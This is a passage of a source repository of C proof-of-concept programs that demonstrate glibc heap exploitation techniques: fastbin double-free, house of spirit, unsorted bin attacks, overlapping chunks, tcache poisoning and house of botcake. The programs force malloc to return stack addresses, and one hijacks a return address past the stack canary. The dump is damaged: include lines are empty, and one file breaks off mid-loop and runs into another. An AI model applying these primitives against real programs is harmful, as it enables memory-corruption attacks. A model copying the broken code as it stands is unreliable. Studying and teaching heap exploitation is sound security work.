fprintf(stderr, "p3 = %s\n", (char *)p3); 75 | } 76 | 77 | 78 | -------------------------------------------------------------------------------- /glibc_2.23/unsorted_bin_attack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(){ 5 | fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); 6 | fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " 7 | "global variable global_max_fast in libc for further fastbin attack\n\n"); 8 | 9 | unsigned long stack_var=0; 10 | fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); 11 | fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var); 12 | 13 | unsigned long *p=malloc(400); 14 | fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); 15 | fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" 16 | "the first one during the free()\n\n"); 17 | malloc(500); 18 | 19 | free(p); 20 | fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " 21 | "point to %p\n",(void*)p[1]); 22 | 23 | //------------VULNERABILITY----------- 24 | 25 | p[1]=(unsigned long)(&stack_var-2); 26 | fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 27 | fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]); 28 | 29 | //------------------------------------ 30 | 31 | malloc(400); 32 | fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " 33 | "rewritten:\n"); 34 | fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); 35 | } 36 | -------------------------------------------------------------------------------- /glibc_2.23/unsorted_bin_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void jackpot(){ printf("Nice jump d00d\n"); exit(0); } 8 | 9 | int main() { 10 | intptr_t stack_buffer[4] = {0}; 11 | 12 | printf("Allocating the victim chunk\n"); 13 | intptr_t* victim = malloc(0x100); 14 | 15 | printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); 16 | intptr_t* p1 = malloc(0x100); 17 | 18 | printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 19 | free(victim); 20 | 21 | printf("Create a fake chunk on the stack"); 22 | printf("Set size for next allocation and the bk pointer to any writable address"); 23 | stack_buffer[1] = 0x100 + 0x10; 24 | stack_buffer[3] = (intptr_t)stack_buffer; 25 | 26 | //------------VULNERABILITY----------- 27 | printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); 28 | printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); 29 | victim[-1] = 32; 30 | victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack 31 | //------------------------------------ 32 | 33 | printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); 34 | char *p2 = malloc(0x100); 35 | printf("malloc(0x100): %p\n", p2); 36 | 37 | intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 38 | memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary 39 | 40 | assert((long)__builtin_return_address(0) == (long)jackpot); 41 | } 42 | -------------------------------------------------------------------------------- /glibc_2.24/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n"); 8 | 9 | fprintf(stderr, "Allocating 3 buffers.\n"); 10 | int *a = malloc(8); 11 | int *b = malloc(8); 12 | int *c = malloc(8); 13 | 14 | fprintf(stderr, "1st malloc(8): %p\n", a); 15 | fprintf(stderr, "2nd malloc(8): %p\n", b); 16 | fprintf(stderr, "3rd malloc(8): %p\n", c); 17 | 18 | fprintf(stderr, "Freeing the first one...\n"); 19 | free(a); 20 | 21 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 22 | // free(a); 23 | 24 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 25 | free(b); 26 | 27 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 28 | free(a); 29 | 30 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 31 | a = malloc(8); 32 | b = malloc(8); 33 | c = malloc(8); 34 | fprintf(stderr, "1st malloc(8): %p\n", a); 35 | fprintf(stderr, "2nd malloc(8): %p\n", b); 36 | fprintf(stderr, "3rd malloc(8): %p\n", c); 37 | 38 | assert(a == c); 39 | return 0; 40 | } 41 | -------------------------------------------------------------------------------- /glibc_2.24/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" 7 | "returning a pointer to a controlled location (in this case, the stack).\n"); 8 | 9 | unsigned long long stack_var; 10 | 11 | fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); 12 | 13 | fprintf(stderr, "Allocating 3 buffers.\n"); 14 | int *a = malloc(8); 15 | int *b = malloc(8); 16 | int *c = malloc(8); 17 | 18 | fprintf(stderr, "1st malloc(8): %p\n", a); 19 | fprintf(stderr, "2nd malloc(8): %p\n", b); 20 | fprintf(stderr, "3rd malloc(8): %p\n", c); 21 | 22 | fprintf(stderr, "Freeing the first one...\n"); 23 | free(a); 24 | 25 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 26 | // free(a); 27 | 28 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 29 | free(b); 30 | 31 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 32 | free(a); 33 | 34 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 35 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 36 | unsigned long long *d = malloc(8); 37 | 38 | fprintf(stderr, "1st malloc(8): %p\n", d); 39 | fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 40 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 41 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 42 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 43 | "so that malloc will think there is a free chunk there and agree to\n" 44 | "return a pointer to it.\n", a); 45 | stack_var = 0x20; 46 | 47 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 48 | *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 49 | 50 | fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); 51 | fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); 52 | } 53 | -------------------------------------------------------------------------------- /glibc_2.24/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); 7 | 8 | fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); 9 | malloc(1); 10 | 11 | fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); 12 | unsigned long long *a; 13 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 14 | unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); 15 | 16 | fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]); 17 | 18 | fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 19 | fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 20 | fake_chunks[1] = 0x40; // this is the size 21 | 22 | fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 23 | // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 24 | fake_chunks[9] = 0x1234; // nextsize 25 | 26 | fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 27 | fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 28 | a = &fake_chunks[2]; 29 | 30 | fprintf(stderr, "Freeing the overwritten pointer.\n"); 31 | free(a); 32 | 33 | fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 34 | fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); 35 | } 36 | -------------------------------------------------------------------------------- /glibc_2.24/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | int main(int argc , char* argv[]){ 15 | 16 | 17 | intptr_t *p1,*p2,*p3,*p4; 18 | 19 | fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n"); 20 | fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n"); 21 | 22 | p1 = malloc(0x100 - 8); 23 | p2 = malloc(0x100 - 8); 24 | p3 = malloc(0x80 - 8); 25 | 26 | fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 27 | 28 | memset(p1, '1', 0x100 - 8); 29 | memset(p2, '2', 0x100 - 8); 30 | memset(p3, '3', 0x80 - 8); 31 | 32 | fprintf(stderr, "\nNow let's free the chunk p2\n"); 33 | free(p2); 34 | fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 35 | 36 | fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 37 | fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;" 38 | " however, it is best to maintain the stability of the heap.\n"); 39 | fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse)," 40 | " to assure that p1 is not mistaken for a free chunk.\n"); 41 | 42 | int evil_chunk_size = 0x181; 43 | int evil_region_size = 0x180 - 8; 44 | fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 45 | evil_chunk_size, evil_region_size); 46 | 47 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 48 | 49 | fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n" 50 | "size of the chunk p2 injected size\n"); 51 | fprintf(stderr, "This malloc will be served from the previously freed chunk that\n" 52 | "is parked in the unsorted bin which size has been modified by us\n"); 53 | p4 = malloc(evil_region_size); 54 | 55 | fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 56 | fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 57 | fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n"); 58 | 59 | fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 60 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 61 | 62 | fprintf(stderr, "Let's run through an example. Right now, we have:\n"); 63 | fprintf(stderr, "p4 = %s\n", (char *)p4); 64 | fprintf(stderr, "p3 = %s\n", (char *)p3); 65 | 66 | fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 67 | memset(p4, '4', evil_region_size); 68 | fprintf(stderr, "p4 = %s\n", (char *)p4); 69 | fprintf(stderr, "p3 = %s\n", (char *)p3); 70 | 71 | fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n"); 72 | memset(p3, '3', 80); 73 | fprintf(stderr, "p4 = %s\n", (char *)p4); 74 | fprintf(stderr, "p3 = %s\n", (char *)p3); 75 | } 76 | 77 | 78 | -------------------------------------------------------------------------------- /glibc_2.24/unsorted_bin_attack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(){ 5 | fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); 6 | fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " 7 | "global variable global_max_fast in libc for further fastbin attack\n\n"); 8 | 9 | unsigned long stack_var=0; 10 | fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); 11 | fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var); 12 | 13 | unsigned long *p=malloc(400); 14 | fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); 15 | fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" 16 | "the first one during the free()\n\n"); 17 | malloc(500); 18 | 19 | free(p); 20 | fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " 21 | "point to %p\n",(void*)p[1]); 22 | 23 | //------------VULNERABILITY----------- 24 | 25 | p[1]=(unsigned long)(&stack_var-2); 26 | fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 27 | fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]); 28 | 29 | //------------------------------------ 30 | 31 | malloc(400); 32 | fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " 33 | "rewritten:\n"); 34 | fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); 35 | } 36 | -------------------------------------------------------------------------------- /glibc_2.24/unsorted_bin_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void jackpot(){ printf("Nice jump d00d\n"); exit(0); } 8 | 9 | int main() { 10 | intptr_t stack_buffer[4] = {0}; 11 | 12 | printf("Allocating the victim chunk\n"); 13 | intptr_t* victim = malloc(0x100); 14 | 15 | printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); 16 | intptr_t* p1 = malloc(0x100); 17 | 18 | printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 19 | free(victim); 20 | 21 | printf("Create a fake chunk on the stack"); 22 | printf("Set size for next allocation and the bk pointer to any writable address"); 23 | stack_buffer[1] = 0x100 + 0x10; 24 | stack_buffer[3] = (intptr_t)stack_buffer; 25 | 26 | //------------VULNERABILITY----------- 27 | printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); 28 | printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); 29 | victim[-1] = 32; 30 | victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack 31 | //------------------------------------ 32 | 33 | printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); 34 | char *p2 = malloc(0x100); 35 | printf("malloc(0x100): %p\n", p2); 36 | 37 | intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 38 | memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary 39 | 40 | assert((long)__builtin_return_address(0) == (long)jackpot); 41 | } 42 | -------------------------------------------------------------------------------- /glibc_2.27/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.27/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long long stack_var; 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | /*VULNERABILITY*/ 64 | *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 65 | /*VULNERABILITY*/ 66 | 67 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 68 | 69 | void *p = calloc(1,8); 70 | 71 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 72 | assert(p == 8+(char *)&stack_var); 73 | // assert((long)__builtin_return_address(0) == *(long *)p); 74 | } 75 | -------------------------------------------------------------------------------- /glibc_2.27/house_of_botcake.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | 7 | int main() 8 | { 9 | /* 10 | * This attack should bypass the restriction introduced in 11 | * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d 12 | * If the libc does not include the restriction, you can simply double free the victim and do a 13 | * simple tcache poisoning 14 | * And thanks to @anton00b and @subwire for the weird name of this technique */ 15 | 16 | // disable buffering so _IO_FILE does not interfere with our heap 17 | setbuf(stdin, NULL); 18 | setbuf(stdout, NULL); 19 | 20 | // introduction 21 | puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); 22 | puts("returning a pointer to an arbitrary location (in this demo, the stack)."); 23 | puts("This attack only relies on double free.\n"); 24 | 25 | // prepare the target 26 | intptr_t stack_var[4]; 27 | puts("The address we want malloc() to return, namely,"); 28 | printf("the target address is %p.\n\n", stack_var); 29 | 30 | // prepare heap layout 31 | puts("Preparing heap layout"); 32 | puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); 33 | intptr_t *x[7]; 34 | for(int i=0; i 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.27/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | 20 | intptr_t *p1,*p2,*p3,*p4; 21 | 22 | printf("\nThis is a simple chunks overlapping problem\n\n"); 23 | printf("Let's start to allocate 3 chunks on the heap\n"); 24 | 25 | p1 = malloc(0x500 - 8); 26 | p2 = malloc(0x500 - 8); 27 | p3 = malloc(0x80 - 8); 28 | 29 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 30 | 31 | memset(p1, '1', 0x500 - 8); 32 | memset(p2, '2', 0x500 - 8); 33 | memset(p3, '3', 0x80 - 8); 34 | 35 | printf("\nNow let's free the chunk p2\n"); 36 | free(p2); 37 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 38 | 39 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 40 | printf("For a toy program, the value of the last 3 bits is unimportant;" 41 | " however, it is best to maintain the stability of the heap.\n"); 42 | printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse)," 43 | " to assure that p1 is not mistaken for a free chunk.\n"); 44 | 45 | int evil_chunk_size = 0x581; 46 | int evil_region_size = 0x580 - 8; 47 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 48 | evil_chunk_size, evil_region_size); 49 | 50 | /* VULNERABILITY */ 51 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 52 | /* VULNERABILITY */ 53 | 54 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 55 | "size of the chunk p2 injected size\n"); 56 | printf("This malloc will be served from the previously freed chunk that\n" 57 | "is parked in the unsorted bin which size has been modified by us\n"); 58 | p4 = malloc(evil_region_size); 59 | 60 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 61 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 62 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 63 | 64 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 65 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 66 | 67 | printf("Let's run through an example. Right now, we have:\n"); 68 | printf("p4 = %s\n", (char *)p4); 69 | printf("p3 = %s\n", (char *)p3); 70 | 71 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 72 | memset(p4, '4', evil_region_size); 73 | printf("p4 = %s\n", (char *)p4); 74 | printf("p3 = %s\n", (char *)p3); 75 | 76 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 77 | memset(p3, '3', 80); 78 | printf("p4 = %s\n", (char *)p4); 79 | printf("p3 = %s\n", (char *)p3); 80 | 81 | assert(strstr((char *)p4, (char *)p3)); 82 | } 83 | 84 | 85 | -------------------------------------------------------------------------------- /glibc_2.27/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.27/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | 18 | size_t stack_var; 19 | printf("The address we want malloc() to return is %p.\n", (char *)&stack_var); 20 | 21 | printf("Allocating 2 buffers.\n"); 